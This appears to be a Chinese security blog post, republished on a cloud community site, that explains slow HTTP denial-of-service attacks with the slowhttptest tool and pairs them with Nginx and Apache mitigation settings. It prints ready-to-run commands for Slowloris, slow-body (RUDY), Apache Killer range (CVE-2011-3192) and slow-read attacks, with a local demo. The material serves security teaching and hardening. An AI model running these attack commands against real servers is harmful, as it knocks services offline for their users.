首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >什么是慢速HTTP拒绝服务?

什么是慢速HTTP拒绝服务?

作者头像
逍遥子大表哥
发布2026-06-24 19:08:56
发布2026-06-24 19:08:56
1240
举报
文章被收录于专栏:kali blogkali blog

本文旨在介绍网络安全相关知识,坚决反对一切危害网络安全的行为。造成法律后果自行负责!

关于

全测试中,DDoS 测试是绕不开的一环。传统的高并发洪水测试(如 SYN Flood、UDP Flood)容易被防火墙和流量清洗设备识别。而 SlowHTTPTest另辟蹊径——它不追求流量大,而是通过慢速发送不完整的 HTTP 请求,耗尽服务器连接池,最终让服务器无法响应正常用户。

这种方式也被称为 慢速HTTP拒绝服务(Slow HTTP DoS)。

安装

Kali Linux 自带 slowhttptest,直接安装即可:

代码语言:javascript
复制
sudo apt update
sudo apt install slowhttptest

其他 Linux 发行版也可通过编译源码安装:

代码语言:javascript
复制
git clone https://github.com/shekyan/slowhttptest.git
cd slowhttptest
./configure
make
sudo make install

验证安装:

代码语言:javascript
复制
slowhttptest -h

了解四种模式

SlowHTTPTest 提供四种测试模式,核心思路都是:建立连接后,不发完请求

Slow Headers

也就是大名鼎鼎的 Slowloris 。建立 TCP 连接后,发送不完整的 HTTP 请求头,然后每隔一段时间发送一个随机的 Header 字段,让服务器一直等待请求结束,直到连接池耗尽。

代码语言:javascript
复制
slowhttptest -H -u http://192.168.1.100/ -c 1000 -i 10 -l 300

参数说明:

  • -c 1000 — 目标连接数 1000
  • -i 10 — 每 10 秒发送一次保持数据
  • -l 300 — 测试持续 300 秒

Slow Body

也叫 R-U-Dead-Yet(RUDEY)。先发送完整的 POST 请求头,告诉服务器 Content-Length 很大,然后以极慢的速度发送 Body 数据。服务器会一直等待接收完整个请求体。

代码语言:javascript
复制
slowhttptest -B -u http://192.168.1.100/ -c 500 -i 5 -l 240

还可以控制 Content-Length 的大小和每次发送的字节数:

代码语言:javascript
复制
slowhttptest -B -c 500 -i 3 -s 8192 -x 10 -u http://192.168.1.100/
  • -s 8192 — 声明 Content-Length 为 8192 字节
  • -x 10 — 每次发送随机数据最大 10 字节

Range Attack

就是 Apache Killer。利用 HTTP Range 头漏洞(CVE-2011-3192),发送多个重叠的范围请求,让服务器在内存中反复重载同一份数据,导致 CPU 和内存耗尽。

代码语言:javascript
复制
slowhttptest -R -u http://192.168.1.100/ -c 200 -a 5 -b 2000 -l 180
  • -a 5 — Range 起始偏移
  • -b 2000 — Range 结束偏移上限

Slow Read(慢速读取)

建立正常 HTTP 请求后,在读取响应数据时故意只读一点点,窗口开得很小,强迫服务器保持大量缓存等待发送。

代码语言:javascript
复制
slowhttptest -X -u http://192.168.1.100/ -c 500 -w 1 -y 64 -z 2 -l 120
  • -w 1 — 窗口大小下限(字节)
  • -y 64 — 窗口大小上限(字节)
  • -z 2 — 每次 read() 只读 2 个字节

小试牛刀

让我用本地环境演示一下效果。

先启动一个 Nginx 服务作为靶机(或者用 Python 起个临时 HTTP 服务):

代码语言:javascript
复制
# 终端1:启动靶机
python3 -m http.server 8080
代码语言:javascript
复制
# 终端2:发起 Slow Headers 
slowhttptest -H -c 500 -i 5 -l 60 -u http://127.0.0.1:8080/

在此期间观察靶机的连接状态,你会发现连接数飙升,而这些连接都处于 ESTABLISHED 但半死不活的状态。

配合 -g 参数生成 HTML 统计报告,更直观地看到测试效果:

代码语言:javascript
复制
slowhttptest -H -g -o slowhttp_report -c 500 -i 5 -l 60 -u http://127.0.0.1:8080/

生成的 slowhttp_report.html 可以直接在浏览器中打开,查看连接状态变化曲线。

防御方案

既然说攻,那也得说防。针对 Slow HTTP DoS ,常见的缓解措施:

Nginx 配置

代码语言:javascript
复制
# 限制请求超时
client_body_timeout 10s;
client_header_timeout 10s;

# 限制请求体大小
client_max_body_size 1k;

# 限制连接速率
limit_req_zone $binary_remote_addr zone=slow:10m rate=10r/s;
limit_req zone=slow burst=20 nodelay;

Apache 配置

代码语言:javascript
复制
# 加载 mod_reqtimeout 模块
LoadModule reqtimeout_module modules/mod_reqtimeout.so

<IfModule reqtimeout_module>
    RequestReadTimeout header=10-20,MinRate=500
    RequestReadTimeout body=10-20,MinRate=500
</IfModule>

其他建议

  • • 使用 WAF(ModSecurity、Naxsi 等)配置规则
  • • 降低 KeepAliveTimeout
  • • 连接数越少触发限制的参数调小
  • • 使用反向代理 + 负载均衡分摊连接压力

小结

SlowHTTPTest 是一款轻量但威力强大的慢速测试工具。与传统的流量洪水不同,它依靠的是协议特性的巧妙利用——只要服务器在超时设置上存在缺陷,几十条慢速连接就能让一台服务器瘫痪。作为安全从业者,理解这些原理,才能更好地加固自己的服务器。知己知彼,百战不殆。

更多精彩文章 欢迎关注我们

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2026-06-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 kali笔记 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Slow Headers
  • Slow Body
  • Range Attack
  • Slow Read(慢速读取)
  • Nginx 配置
  • Apache 配置
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档